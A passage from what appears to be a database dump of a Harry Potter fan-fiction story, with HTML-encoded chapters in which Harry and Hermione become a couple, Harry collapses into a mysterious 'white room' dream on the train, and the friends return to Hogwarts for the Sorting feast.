your actual birthday so now is as good a time as any,&quot; Ron smiled.  </p>\n\n<p>Harry laughed.  &quot;You really shouldn&#8217;t have, you know.&quot;  </p>\n<p>	</p>\n<p>	&quot;Why not?  You&#8217;re seventeen now and that means you&#8217;re a big boy.&quot;  Ron teased wrapping an arm around Lavender.    </p>\n\n<p>The first tag said &quot;To Harry, from Ron.&quot;  Short and sweet.  Harry tore off the wrapping and smiled.  It was a box, mega deluxe box of plectrums; enchanted and normal.  </p>\n\n<p>	&quot;Thanks Ron!&quot; Harry grinned widely and placed it on the table.  </p>\n\n<p>He read the tag on the second one.</p>\n\n<p>&quot;To Harry,</p>\n<p>Happy Seventeenth Birthday!</p>\n<p>You&#8217;re always going to be the youngest.</p>\n<p>Lots of love,</p>\n<p>Hermione and Lavender.&quot;</p>\n\n<p>He unwrapped the box and grinned again.  </p>\n\n<p>&quot;A Firebolt Enhancement? This must have cost you a bomb,&quot; He stared down at the enhanced parts like the dust and cloud guards and the handle grips.  &quot;Thanks, Herm.  Thanks Lav.&quot;</p>\n\n<p>He gave Hermione a quick hug before walking to Lavender and hugging her.  </p>\n\n<p>	&quot;No problem Stan,&quot; Lavender took another sip of her drink.  It was half-full now.  </p>\n\n<p>	&quot;We couldn&#8217;t think of two gifts to get you so we got you one from us both,&quot; Hermione bounced.  &quot;Do you like it?&quot;</p>\n\n<p>	&quot;I love it,&quot; Harry laughed.  &quot;These are the best two presents I&#8217;ve had all year.&quot;</p>\n\n<p>He gave Hermione a hug again.  He sniffed her hair sweetly.  It swelled of strawberries.  </p>\n\n<p>	&quot;We better be heading back,&quot; Ron&#8217;s voice interrupted them.  They pulled away and realised that they had been holding onto each other.  </p>\n\n<p>The friends made their way to the fireplace and headed back to the Burrow.  </p>\n\n<p>~)*(~</p>\n\n<p>The gang had only just stepped through the fireplace when&#8230;</p>\n\n<p>	&quot;Ron!&quot; Mrs Weasley enveloped Ron into a magnificent embrace.  &quot;Your cheeks look a little red and you&#8217;ve definitely not been eating much&#8230;Harry!&quot;</p>\n\n<p>She let Ron go and embraced Harry.  Harry still thought that it was the most wonderfully warm hug he&#8217;d ever been given by a mother.  Mrs Weasley was like a mother to him.  And he adored her for it.  </p>\n\n<p>	&quot;How was your trip love?  I&#8217;d hoped you&#8217;d like it,&quot; She hugged Harry tighter then let him escape for breath.  </p>\n\n<p>She gave Hermione a quick hug.  &quot;Go get him, sweet heart,&quot; Mrs Weasley whispered into Hermione&#8217;s ear.  &#8216;Him&#8217; obviously meaning Harry.  </p>\n\n<p>Mrs Weasley finished her hugs with Lavender giving Ron a stern look as if to say &#8216;no funny business&#8217;.  Mrs Weasley loved Lavender.  With her, Ginny and Hermione in the house it was like having three daughters as well as the boys.  Mrs Weasley and Ginny had come back so Ginny could go to school on time.  Mrs Weasley hated being late for anything.  </p>\n\n<p>	&quot;Mum!  Where&#8217;d that damn&#8230;&quot; Ginny came running down the stairs but stopped when she saw the gang in the kitchen.  &quot;Hey guys!&quot;</p>\n\n<p>	&quot;Hey Gin!&quot; They all said at the same time.  </p>\n\n<p>	&quot;How was Romania?&quot; Hermione asked placing her shopping bags down on the kitchen table.  </p>\n<p>	</p>\n<p>	&quot;Funny but boring,&quot; Ginny began to search all over the kitchen for the &#8216;damn thing.&#8217;  &quot;Who knew that Fred and George would clam down abroad.&quot;  </p>\n\n<p>The lot laughed then prepared to unpack their things.   </p>\n\n<p>&nbsp;</p>\n<p>Hermione looked at the poster of Harry.  She&#8217;d skilfully dubbed it &#8216;Dream Harry&#8217; because it was the first thing she saw in the morning and the last thing she saw at night to send her into passionate dreams about her best friend.  But what a god damn sexy best friend he&#8217;d become.  His eyes were gorgeous; his body was enticingly sexy and his innocence&#8230;she&#8217;d rid him of that any day.  </p>\n\n<p>Regretfully, she pulled out her wand and charmed it to roll itself up.  </p>\n\n<p>	&quot;Sorry Dream Harry,&quot; She apologised as the picture rolled up.  &quot;Harry can&#8217;t see you in my bedroom.  What if he comes in later?  He&#8217;d throw a fit.  I&#8217;ll put you back up once we&#8217;re in school.&quot;</p>\n\n<p>When the poster was in a cylindrical package, Hermione stashed it inside her trunk then collapsed on her bed, shattered beyond belief.  She could feel her eyes drifting slowly closed.  </p>\n\n<p>She was asleep.</p>\n<p>  </p>\n\n<p>~)*(~</p>\n\n<p>A few hours later, Harry was packing his trunk.  </p>\n\n<p>	&quot;That&#8217;s robes, books, stationary and guitar packed&#8230;&quot; Harry looked confused at his trunk.  It looked almost empty.  &quot;Clothes!&quot;</p>\n\n<p>A light bulb went on in Harry&#8217;s head and he began to pack his normal clothes.  It would have been funny if he&#8217;d turned up at Hogwarts without anything to wear underneath his robes.  </p>\n\n<p>	&quot;Want a game of chess in five, Harry?&quot; Ron opened the bedroom lightly.  </p>\n\n<p>	&quot;Yeah, sure,&quot; Harry replied and finished packing his trunk.  </p>\n\n<p>He kicked it shut and levitated it to the end of his bed.  </p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Harry walked down the landing to the stairs but stopped at Hermione&#8217;s bedroom door.  It was just so awful to be a few doors away from the slumbering girl you absolutely adored.  </p>\n\n<p>Just for being nosy, Harry opened the door a little and peeked inside.  </p>\n\n<p>The gorgeous figure of a sleeping Hermione lay on her bed breathing slowly.  She was fully clothed and was taking a nap.  She looked so peaceful and tranquil.  </p>\n\n<p>Harry stepped up to her and sank to his knees next to the bed.  He stroked her cheek lovingly.  </p>\n\n<p>	&quot;Mmm&#8230;&quot; Hermione stirred.  &quot;Harry&#8230;&quot; She said his name in her sleep.  It made him smile.</p>\n\n<p>She looked so angelic.  Her beautifully brown hair framed her face perfectly on her pillow.  So gentle; so fragile yet so full of life.  Gorgeous in every aspect of the word; her hair; her eyes; her personality; her.  Everything he&#8217;d ever loved was there in front of him breathing in and out slowly. </p>\n\n<p>He bent his head closer to hers and took the chance.  He pressed his lips to hers.  Soft and sweetly tender lips pressing lightly upon his own.  </p>\n\n<p>He felt her stir and he pulled away quickly.  </p>\n\n<p>Her eyes fluttered open.  &quot;Harry?&quot; She asked smiling sleepily at him.  </p>\n\n<p>	&quot;Yeah?&quot; He questioned in reply.  </p>\n\n<p>	&quot;Why did you kiss me?&quot; </p>\n\n<p>He was at a loss for words.  Had she been awake or had just woken?  He stood up.  </p>\n\n<p>	&quot;I&#8217;m sorry&#8230;&quot; He tried to say but it came out like a gasp rather than words.  &quot;I just&#8230; I&#8230;&quot;<br>\n</p>\n<p>Hermione stood up in front of him.  She brushed a lock of hair behind her ear.  </p>\n\n<p>In one swift motion, she closed the gap between them and put her arms around his neck.  Electric thunder ran through his body.</p>\n\n<p>	&quot;Did you want to kiss me, Harry?&quot; She asked looking into his loving eyes.  They enraptured her.  Waking up to him on her lips was not enough.  She needed to feel him there very morning waking her up like that.</p>\n\n<p>Harry felt so nervous but in a good way.  He felt nervous but at ease in her arms.  He raised his hands to her waist and held her.  </p>\n\n<p>Thinking of a better answer, he leaned his head down to hers and caught her lips again.  </p>\n\n<p>They softly moved together locking each other&#8217;s lips in their succulent kisses.  Harry slid his tongue over Hermione&#8217;s bottom lip and with a moan she opened her mouth to him.  Thunder shot through her so intensely.  </p>\n\n<p>He brought her closer wrapping his arms around her waist.   She pushed her body into his pressing her chest against his.  His muscles contracted at the touch of chest against chest.</p>\n\n<p>When they finished the passionate kiss with a few smaller ones, Hermione played with Harry hair at his nape and smiled up at him.  </p>\n\n<p>He rested his forehead against hers and grinned with a look of satisfaction.  </p>\n\n<p>	&quot;Heaven,&quot; he breathed slowly opening his eyes to look into hers.  </p>\n\n<p>She was looking into his deep emerald eyes, which sparkled, brilliantly into her cinnamon and golden eyes.  The twinkles danced together as if granted moonlight for the first time ever.  </p>\n\n<p>	&quot;I think&#8230;&quot; Hermione managed grinning like a kitten.  &quot;I think I like you Mr Potter.&quot;</p>\n\n<p>	&quot;I like you too, Miss Granger,&quot; Harry kissed her nose.  </p>\n\n<p>He held her for a bit longer as they giggled together kissing for short moments.  </p>\n\n<p>	<i>&quot;This is how it should be,&quot;</i> Harry&#8217;s voice shook through her.  </p>\n<p>	</p>\n<i></i><p><i>&quot;I know,&quot;</i> She replied through their connection as she reached up for another kiss from her Harry.  <i>&quot;Without a doubt.&quot;</i></p><i>\n\n</i><p>Together, they walked hand in hand down the stairs.  </p>\n\n<p>&nbsp;</p>\n<p>~)*(~</p>\n\n<p>	</p>\n<p>	&quot;Quick make-out session before coming down?&quot;  Ron asked gesturing to their hands clasped together.  </p>\n\n<p>	&quot;As always,&quot; Harry rested his lips on Hermione&#8217;s who smiled as he pulled away.  </p>\n\n<p>There was a clutter on ground.  Ron had dropped his chess pieces in shock.  The pieces were standing and ready to attack his heels.  </p>\n\n<p>	&quot;You what?&quot; He stuttered.  </p>\n\n<p>Hermione just looked at Harry who was grinning.  &quot;Quick make-out session in my bedroom.&quot;  </p>\n\n<p>	&quot;Lavender!  Lavender!  They&#8217;ve done it!&quot;  Ron went running into the garage to find Lavender.  </p>\n\n<p>	&quot;Do you think they figured it out before us?&quot; Harry hugged Hermione to him.  She wrapped her arms around his neck.  </p>\n\n<p>	&quot;They might have,&quot; She cocked one eyebrow.  &quot;But then again, I could&#8217;ve liked you for years and no one would ever have know.&quot;  </p>\n\n<p>	&quot;Like I have?&quot; Harry smiled.  </p>\n\n<p>Hermione looked as shocked as Ron had.  &quot;You haven&#8217;t have you?  How long?&quot;  She grinned widening her eyes.  </p>\n\n<p>	&quot;A good couple of years,&quot; Harry sheepishly admitted.  &quot;Just after my Order training.  I couldn&#8217;t have survived without you.&quot; </p>\n\n<p>	&quot;I&#8217;m glad you did,&quot; Hermione giggled as she leaned up to kiss him.  </p>\n\n<p>He caught her lips in his own.  The kiss was full of love and tenderness but caring and compassion.  Plus, it was the Weasley&#8217;s kitchen so Mrs Weasley would go ape if she walked in on them making out.  </p>\n\n<p>They pulled away sharply enough to see Lavender and Ron smiling in victory near the cooker.  </p>\n\n<p>	&quot;Told you so,&quot; They both said in unison.  It was directed at both Harry and Hermione.  </p>\n\n<p>How fun school was going to be!</p>\n\n<p>~)*(~</p>\n\n<p>(A/N&#8230;thanks for tall the reviews on my first chapters.  It was really great.)</p>\n\n<p>Stay tuned for chapter 4&#8230;just because Harry and Hermione are together doesn&#8217;t mean the story is finished&#8230;</p>\n\n<p>Far from it&#8230; ;)</p>\n<p>	</p>\n\n'),
	(175, 4, '\n\n<b><u></u></b><u></u><p><u><b>Disclaimer:</b></u> I do not; I repeat; do NOT own Harry Potter.  I own the plot, the band and any characters that have not appeared in the books.  </p>\n\n<b><u></u></b><u></u><p><u><b>Author Note:</b></u> My first fan fic posted!  Yay!  Be gentle!  It takes place in their sixth year summer when they are about to go back for the seventh year.  </p>\n\n<p>&nbsp;</p>\n<b><u><p>Chapter 4: The White Room</p>\n\n<p>&nbsp;</p>\n</u></b><p>	&quot;Would you look at her&#8230;She looks at me&#8230;She\'s got me thinking about her constantly&#8230;But she don\'t know how I feel&#8230;And as she carries on without a doubt&#8230;I wonder if she\'s figured out&#8230;I\'m crazy for this girl&#8230;I&#8217;m crazy for this girl&#8230;&quot;  </p>\n\n<p>Harry sang to himself as the train chugged out of King&#8217;s Cross Station.  Another year to come and it was to be the last.  But it would be great.  </p>\n\n<p>He had a girlfriend&#8230;who was also his best friend presently wrapped up in his arms sitting on the carriage seat.  </p>\n\n<p>	&quot;She was the one to hold me&#8230;The night&#8230;The sky fell down&#8230;And what was I thinking &#8230;when&#8230;The world didn\'t end&#8230;Why didn\'t I know what I know now&#8230;&quot;</p>\n\n<p>	&quot;What are you singing Harry?&quot; Hermione looked at him.  </p>\n\n<p>He smiled and tightened his arms around her.  &quot;Would you look at her&#8230;She looks at me&#8230;She\'s got me thinking about her constantly&#8230;But she don\'t know how I feel&#8230;And as she carries on without a doubt&#8230;I wonder if she\'s figured out&#8230;I\'m crazy for this girl&#8230;I&#8217;m crazy for this girl&#8230;&quot;</p>\n\n<p>	&quot;So you&#8217;re crazy about this girl,&quot; Hermione grinned and sat up looking at him.  Their eyes were level.  </p>\n\n<p>Harry ceased his singing and leaned in.  He pressed his lips to hers gently.  &quot;Yeah, there&#8217;s this girl with long flowing light brown hair and the most gorgeous eyes I&#8217;ve ever seen.&quot;  </p>\n\n<p>Harry cocked one eyebrow at her teasingly.  &quot;Strange thing is, her name&#8217;s Hermione Granger.  That&#8217;s your name isn&#8217;t it?&quot;  </p>\n\n<p>Hermione smiled shaking her head.  She gave up and rested against his chest, wrapping his arms around her.</p>\n\n<p>&nbsp;</p>\n<p>	&quot;Like two love birds in a nest isn&#8217;t it?&quot; Lavender smirked from the other seat opposite the couple.  &quot;You two just can&#8217;t get enough of each other.  It&#8217;s nauseating.&quot;</p>\n\n<p>	&quot;Sort of like you and Ron then isn&#8217;t it?&quot; Hermione snapped back playfully.  </p>\n\n<p>	&quot;Girls!  Don&#8217;t go nipping at heels now.  No need to fight over me.&quot;  Harry interrupted waving a hand between them.  </p>\n\n<p>	&quot;Take him then!&quot; Hermione sat up and sat leaning against the window in a sulk.  She was teasing of course.  </p>\n\n<p>	&quot;Don&#8217;t want him!&quot; Lavender snapped back just as playfully.  </p>\n\n<p>Harry snickered and sat down next to Hermione.  He pressed a kiss to her ear lobe, which made her swing around.  She caught his mouth with hers.  <br>\n</p>\n<p>Unintentionally but still pleasurable.  Hermione always had that affect on him; like he could never get enough.  Her eyes fluttered closed and her mouth became more active against his own.  </p>\n\n<p>Their tongues enraptured each other as if tasting the other.  Her hands wrapped around his neck and brought him further into the kiss. </p>\n\n<p>He took her by the waist and brought her onto his knee so she was straddling him.  Her hair fell from behind her ears and draped over her cheeks perfectly framing her delicate features.  </p>\n\n<p>	&quot;Get a soddin&#8217; room!&quot; Ron&#8217;s voice interrupted.   </p>\n\n<p>Harry and Hermione smiled against each other&#8217;s lips.  Harry broke away and leaned his forehead against hers.  </p>\n\n<p>	&quot;<i>Wanna carry on later?&quot;</i> Harry asked connecting to Hermione.  </p>\n\n<p>With her eyes still closed, Hermione licked her bottom lip.  </p>\n<p>	</p>\n<p>	<i>&quot;Now would be good</i>,&quot; She smiled as she replied.  </p>\n\n<p>	&quot;<i>I think so too&#8230;but they don&#8217;t,</i>&quot; Harry grinned also.  </p>\n\n<p>	&quot;What are two grinning like monkeys for?&quot; Lavender asked flicking through a magazine.  </p>\n\n<p>Hermione climbed off Harry but settled back in his arms as she sat down next to him.  </p>\n\n<p>	&quot;Like I was saying before I was rudely interrupted by incessant snogging,&quot; Lavender smiled and placed the magazine on to the seat beside her.  </p>\n\n<p>	&quot;I just think that if we&#8217;re going to make any changes in the school this year we need to be more prepared to take an active role in schools issues,&quot; Hermione agreed by nodding.  </p>\n\n<p>	&quot;With me being Head Girl I think we can,&quot; Hermione began to say but Harry didn&#8217;t hear anything.  </p>\n\n<p>	&quot;Hssrka kessu rutyasssa lissya jerosssa&#8230;&quot; echoed through Harry&#8217;s head.  </p>\n\n<p>As if pulsating with the voice, the lightening bolt began to throb with heat draining him.  His hand went directly to his forehead grasping at the throbbing scar.  He felt his eyes close and his body give out.  </p>\n\n<p>	&quot;Hssrka kessu rutyasssa lissya jerosssa&#8230;&quot; the voice repeated sternly.  </p>\n\n<p>The world span around in his head as he stood up.  His legs gave out beneath him and he crashed to the floor.  </p>\n\n<p>	&quot;Hssrka kessu rutyasssa lissya jerosssa&#8230;&quot; the voice continued to mentally rape him inside and out.  </p>\n\n<p>Pulsating fire shot through his mind and body before it ceased his activity.  Blackness over took him in seconds.</p>\n\n<p>&nbsp;</p>\n<p>~)*(~</p>\n\n<p>&nbsp;</p>\n<p>	<i>&quot;Open up Harry.&quot;</i></p><i>\n\n<p>Harry&#8217;s eyes sprang open.  Light surrounded him.  Only white light; no colour.  </p>\n\n<p>	&quot;This is my home.&quot;</p>\n\n<p>Harry tried to stand.  His weight was bearable and he managed to stagger to his feet.  </p>\n\n<p>	&quot;Want to know where this is?&quot;  </p>\n\n<p>Harry felt himself nodding to the voice.  The voice was commanding and authoritative.  </p>\n\n<p>	&quot;You&#8217;re in my house.  In my house my rules apply.&quot;</p>\n\n<p>	&quot;Who are you?&quot;  Harry cried.  The wave of syllables echoed around the white room.  </p>\n\n<p>	&quot;Me?  No one.  No one you&#8217;d know you&#8217;d know of anyway.&quot;</p>\n\n<p>	&quot;Then what is this place?&quot;  Harry asked running a hand through his hair.  </p>\n\n<p>	&quot;My home.  I live here in this decoration of white.&quot;</p>\n\n<p>	&quot;What am I doing here?&quot; Harry looked around.  There were no walls, no ceiling; no nothing, just a pit full of white.  </p>\n\n<p>	&quot;This is an empty dream, Harry.&quot;  </p>\n\n<p>	&quot;What?&quot; Harry scoffed.  </p>\n\n<p>	&quot;An empty dream.  The middle between awake and asleep.  This is a thought-engulfed manifestation of your mind at present.  Cool huh?&quot;</p>\n\n<p>	&quot;Yeah, suppose,&quot; Harry murmured. &quot;So how do I get out?&quot;</p>\n\n<p>	&quot;Like this&#8230;&quot;</p>\n</i>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Harry awoke to the sound of distant humming.  The humming was approaching fast until it stopped.  </p>\n\n<p>A hand tightened on his own.  He could feel the fingers entwined between his and a thumb caress his backhand softly.  </p>\n\n<p>His eyes opened slowly taking in the mix of colours and the swirls of objects.  </p>\n\n<p>The Hospital wing came into view.  He lifted his head slowly and sat up.  </p>\n\n<p>	&quot;Harry?&quot;  Hermione&#8217;s voice was soothing and calm.  Harry looked in the direction it was echoing from.  </p>\n\n<p>She was sitting next to his bed holding his hand between hers.  Her eyes looked soaked in worry.  </p>\n\n<p>	&quot;Hey Herm,&quot; Harry replied pleasantly squeezing her hand softly.  </p>\n\n<p>	&quot;Oh thank Merlin,&quot; she breathed out.  She moved and sat beside him on the bed.  &quot;What happened?&quot;  </p>\n\n<p>	&quot;I don&#8217;t know,&quot; Harry grimaced.  &quot;I woke up in a white room then I woke up again here.&quot;  </p>\n<p>	</p>\n<p>	&quot;A white room?&quot; Hermione asked cocking one eyebrow at him.  &quot;Better tell Dumbledore.&quot;  </p>\n\n<p>	&quot;Suppose.&quot;  Harry shrugged.  &quot;So how did I get here?&quot;</p>\n\n<p>	&quot;After you blacked out on the train, Dumbledore got notified straight away and apparated you and me out.  You&#8217;ve only been out a few hours at the most.&quot;</p>\n\n<p>	&quot;That it?&quot;</p>\n\n<p>	&quot;Pretty much.&quot;  Hermione smiled.  &quot;Congratulations by the way.&quot;</p>\n\n<p>	&quot;For what?&quot;</p>\n<p>	&quot;You got named Head Boy.&quot;</p>\n<p>	</p>\n<p>	&quot;Ugh Merlin!&quot;  Harry slumped back against the bed.   &quot;That&#8217;s all I need!&quot;</p>\n<p>	</p>\n<p>	&quot;Don&#8217;t you want it?&quot; Hermione asked in a quite hurt voice.  It was one thing to turn down Prefect in their sixth year but Head Boy this year?  Ridiculous!</p>\n\n<p>	&quot;I suppose I do but&#8230;&quot; Harry sighed and closed his eyes.  </p>\n\n<p>	&quot;But what?&quot;  Hermione lay down next to him and placed her head on his chest.  </p>\n\n<p>	&quot;There&#8217;s a million reasons,&quot; Harry rested one of his hands on Hermione&#8217;s waist and huddled her closer to him.  </p>\n\n<p>	&quot;Name one.&quot;</p>\n<p>	</p>\n<p>	&quot;Why me?&quot;</p>\n\n<p>	&quot;Because Dumbledore thought that you were the best person for the job.&quot;</p>\n\n<p>	&quot;Why?&quot;</p>\n\n<p>	&quot;Your keen sense of responsibility just like James,&quot; Dumbledore stepped up to Harry&#8217;s bed shinning his smile.  His hands were clasped tightly behind his back in his usual manner. </p>\n\n<p>Hermione jumped up off Harry and sat down in her seat again.  </p>\n\n<p>	&quot;How are you feeling Harry?&quot; The old man asked over his half-moon spectacles.  </p>\n\n<p>	&quot;A little drained sir, but I&#8217;ll be fine,&quot; Harry smiled back whilst running a hand through his hair.  </p>\n\n<p>	&quot;Good, good,&quot; Dumbledore smiled again and looked to Hermione.  &quot;You can return to your common room if you like, Miss Granger.  I hear it&#8217;s wonderful this year.&quot;  </p>\n\n<p>	&quot;Of course sir,&quot; Hermione looked at Harry and placed a kiss on his cheek then walked out of the hospital wing.</p>\n\n<p>~)*(~</p>\n\n<p>&nbsp;</p>\n<p>About an hour later, Hermione was called down to the Great Hall for the Sorting Ceremony.  </p>\n\n<p>She was blissfully in some sort of dream.  She was dating Harry, her best friend.  The guy she&#8217;d been dreaming about since her second year.  The boy who was loved all over the world but could escape from it all when he was with her.  </p>\n\n<p>Troops of first years were waiting at the Entrance Hall as Hermione rounded the corner.  Hagrid was trying to keep them in order as Professor McGonagall was sorting them into two single files.  </p>\n\n<p>The Great Hall was bustling with noise.  Lavender and Ron were already sat down at the Gryffindor table.  They waved Hermione over. </p>\n\n<p>	&quot;So what do you think of your troop this year?&quot; Ron asked as Hermione sat down.  </p>\n\n<p>	&quot;They don&#8217;t look too bad,&quot; Hermione grinned as she readjusted her robes.  &quot;I think we looked a lot worse for Percy in our first year.&quot;  </p>\n\n<p>	&quot;I&#8217;m sure we did,&quot; Lavender smiled.  &quot;Then again you three were the most trouble the poor lad had to put up with.&quot;</p>\n\n<p>	&quot;This is true,&quot; Ron smirked knowingly.  &quot;We must&#8217;ve driven him insane.  You sure you wanna take on this job, Herm?&quot;</p>\n<p>	</p>\n<p>	&quot;Positive.  It will look great on my University application.&quot;</p>\n\n<p>&nbsp;</p>\n<p>Harry walked out of the Hospital wing.  Madame Pomfrey had excused him because apart from lack of sleep they couldn&#8217;t find anything wrong with him.  </p>\n\n<p>Plus, he was Head Boy and the Head Boy had to attend the Sorting Ceremony.  He couldn&#8217;t leave the first years with Hermione&#8230;they&#8217;d be hexed in minutes.  </p>\n\n<p>Harry rounded a corner but fell back on the ground when he crashed into something small and red.  </p>\n\n<p>	&quot;Oh Harry!  You okay?&quot; It was Ginny.  She helped him to his feet.  </p>\n\n<p>	&quot;Yeah, fine.&quot;  Harry smiled at his little red headed friend.  &quot;Where are you off to in such a hurry?&quot;</p>\n<p>	</p>\n<p>	&quot;Sorting Ceremony.  Had to go and sort out some stuff with Madame Pince first.&quot;</p>\n\n<p>They both walked down the corridor together watching all the portraits.  Some had party hats on and were having a drink with other portraits.  </p>\n\n<p>	&quot;They have a good life don&#8217;t they?&quot; Ginny asked readjusting her robes as they walked.  </p>\n\n<p>	&quot;I suppose.  I wouldn&#8217;t like to be a constant portrait.&quot;</p>\n\n<p>	&quot;Me neither but they just sit and watch all day long.  They must see a load of interesting stuff.&quot;</p>\n\n<p>	&quot;Like students sneaking out after hours?&quot;</p>\n<p>	</p>\n<p>	&quot;Yeah and Filch&#8217;s secret chocolate obsession.&quot; </p>\n\n<p>They both laughed.  Ginny had stumbled on Filch scoffing chocolate in the kitchens one evening and had been sworn to secrecy.  Of course, it&#8217;s not like that would stop her.  </p>\n\n<p>	&quot;How&#8217;s the crush on Draco?&quot; Harry asked rounding the next corner and through the archway.  </p>\n\n<p>	&quot;Not good.  I can&#8217;t go to sleep without seeing the prick&#8217;s face.  Trouble is I think he knows I like him.&quot;</p>\n\n<p>	&quot;How could he?&quot;</p>\n<p>	</p>\n<p>	&quot;I have absolutely no idea.  But it&#8217;s creepy.  He winks at me and makes passes at me.&quot;  She grinned widely.  &quot;Thanks for not telling Ron, Harry.&quot;</p>\n\n<p>&quot;Anything to be of service.&quot;</p>\n\n<p>&nbsp;</p>\n<p>The two rounded the last arch to see McGonagall and the first year rabble.  They were all wearing their new robes and checking out each other&#8217;s wands.  </p>\n\n<p>Some of the wizard first years caught sight of Harry and their mouths dropped open.  </p>\n<p>	</p>\n<p>	&quot;It&#8217;s him!&quot;</p>\n\n<p>	&quot;Has he got the scar?&quot;</p>\n\n<p>	&quot;Where are his glasses?&quot;</p>\n\n<p>	&quot;Who&#8217;s that girl?&quot;</p>\n\n<p>Harry chuckled and walked up to Professor McGonagall.  </p>\n\n<p>	&quot;Want some help Professor?&quot;  He asked politely.  </p>\n\n<p>McGonagall smiled at him and turned to address him.  </p>\n<p>	</p>\n<p>	&quot;No thank you, Harry.  I&#8217;m doing alright&#8230;Mr Greeves!&quot;  She called out to a young boy who was trying to enchant his pet frog who&#8217;d got loose.  </p>\n\n<p>	&quot;Remind you of anybody Professor?&quot; Harry grinned.  McGonagall grinned with him.  </p>\n\n<p>	&quot;Only two little boys and a little girl seven years ago.&quot;  She smiled at the memory of Harry, Ron and Hermione&#8217;s first day.  </p>\n\n<p>	&quot;Get into the Hall and prepare for dinner, dears.&quot;  She addressed Harry and Ginny again before turning back to the two single files of anxious first years.  </p>\n\n<p>&nbsp;</p>\n<p>Harry and Ginny entered the Great Hall and were met with the usual sights.  The see through ceiling which was lit up with the stars of the night sky.  It looked so beautiful to Harry.  In all his years at Hogwarts he&#8217;d never seen anything more beautiful&#8230;apart from Hermione of course.  </p>\n\n<p>Speaking of Hermione, she was sat at the Gryffindor table waving Harry and Ginny over.  </p>\n\n<p>They walked to the Gryffindor table.  Harry gave Hermione a quick kiss before seating himself next to her.  Ginny sat opposite her brother.  </p>\n\n<p>From over the hall, Draco winked at Ginny.  He always made her heart flutter like that.  Seamus&#8217; name was running through her mind the whole time.  Her boyfriend; her great and loyal boyfriend of six months.  </p>\n\n<p>She let her head fall to the table with an almighty whack.  </p>\n\n<p>	&quot;You alright?&quot; Ron asked coming to his sister&#8217;s aide straight away.  </p>\n\n<p>	&quot;Yeah, fine,&quot; Ginny grimaced rubbing the sore spot on her forehead.  </p>\n\n<p>&nbsp;</p>\n<p>Harry wrapped his arm around Hermione&#8217;s waist.  </p>\n\n<p>	&quot;Ready to take care of the firsties, Herm?&quot; He smiled one of his dazzling smiles.  </p>\n\n<p>Hermione smiled back.  She loved his smile and could never get enough of it.  She felt like she was drowning in his love every time he held her; kissed her or smiled at her.  </p>\n\n<p>	&quot;Hopefully they won&#8217;t be as much trouble as we were,&quot; she stated leaning back into Harry&#8217;s arm.  </p>\n\n<p>	&quot;I think Percy&#8217;s only just got over us,&quot; Ron laughed.  </p>\n\n<p>	&quot;It wouldn&#8217;t surprise me,&quot; Lavender grinned handing Ron her pumpkin juice.  </p>\n\n<p>Harry shook his head.  &quot;What are you doing tomorrow night, Herm?&quot; </p>\n\n<p>	&quot;Studying, why?&quot; </p>\n<p>	</p>\n<p>	&quot;Wanna go to Hogsmeade like&#8230;on a date or something?&quot; </p>\n\n<p>	&quot;Or something?  I hope you&#8217;ll come up with something better than that,&quot; Hermione smiled up at her boyfriend.  &quot;Try again.&quot;</p>\n\n<p>	&quot;Fine&#8230;&quot;Harry sighed and sat up straight.  &quot;Hermione will you go to Hogsmeade tomorrow night?&quot; </p>\n\n<p>Hermione pressed her finger to her chin as If contemplating his words.  &quot;What would the evening entail?&quot;</p>\n\n<p>Harry smiled.  &quot;A romantic dinner then a moonlit walk back to Hogwarts School.  Upon reaching our secluded common room&#8230;if all goes well&#8230;some heavy snogging on the sofa.&quot;</p>\n\n<p>Hermione grinned and settled back into his arm.  &quot;Of course.&quot;</p>\n\n<p>Harry pressed a kiss to her forehead.  Nothing could have made him more happier than spending the next evening with his girlfriend together&#8230;just them; no one else.  </p>\n\n<p>Everything was perfect.   </p>\n<p>	</p>\n\n<p>	</p>\n\n<p>&nbsp;</p>\n\n'),
	(175, 5, '\n\n<b><u><p>Chapter 5: Decisions, Decisions&#8230;</p>\n\n<p>&nbsp;</p>\n</u></b><p>	&quot;I swear that was the biggest meal I&#8217;ve EVER had.&quot;  </p>\n\n<p>Ron was supported between Lavender and Harry as they carried him up to the Gryffindor dorm room.</p>\n\n<p>	&quot;You hurl and I&#8217;ll kill you,&quot; Lavender chuckled.  </p>\n\n<p>The night had been funny.  Dean and Justin had bet Ron ten galleons that he couldn&#8217;t eat ten helpings of roast turkey and roast potatoes.  Being the thick twat that he is, Ron accepted.  </p>\n\n<p>He won of course.</p>\n\n<p>	&quot;At least I&#8217;m not drunk,&quot; Ron slurred burping as he did so.  </p>\n\n<p>	&quot;Ron that is vile!&quot;  Lavender punched him on the arm.  </p>\n\n<p>	&quot;Yeah well,&quot; Ron smirked.  &quot;I&#8217;m ten galleons richer!&quot;</p>\n\n<p>Harry stumbled under Ron&#8217;s weight.  His legs had practically given out by the eighth helping.</p>\n\n<p>	&quot;Never do that again Ron,&quot; Harry laughed.  &quot;Ten galleons isn&#8217;t worth me having to put up with your weight.&quot;</p>\n\n<p>	&quot;Hey!  I&#8217;m not fat!&quot;  He stated as Harry stumbled again.  </p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Harry and Lavender eventually managed to get Ron into bed successfully.  Lavender decided that it was better if she slept in her own bed that night because of Ron&#8217;s roommates.  It would be funny in the morning though&#8230;to find a girl with Ron.  </p>\n\n<p>	&quot;Think he&#8217;ll be alright?&quot; Harry smiled closing the door behind them as they walked out.  </p>\n<p>	</p>\n<p>	&quot;He&#8217;ll be fine,&quot; Lavender grinned back.  &quot;Don&#8217;t you have to be somewhere with Hermione now?&quot; </p>\n\n<p>Harry quickly glanced at his watch.  &quot;Meeting her in the common room at nine&#8230;a good few minutes yet.&quot;</p>\n\n<p>Lavender sighed loudly and pushed him forward down the stairs.  &quot;Go and be early&#8230;girls love that.&quot;<br>\n</p>\n<p>	&quot;You think so?&quot; Harry laughed.  &quot;Alright.&quot;</p>\n\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<p>Several minutes later, Harry was standing in 	the prefect&#8217;s common room.  The fire was burning brightly, flickering and dancing in the evening glow.  </p>\n\n<p>	&#8216;Romantic,&#8217; Harry thought smiling.  He sat down on the sofa and proceeded to watch the dancing embers in the fireplace.  Slowly, his brain slipped into auto-mode and he began to sing softly.</p>\n\n<p>&nbsp;</p>\n<p>Hermione had just donned her sweatshirt 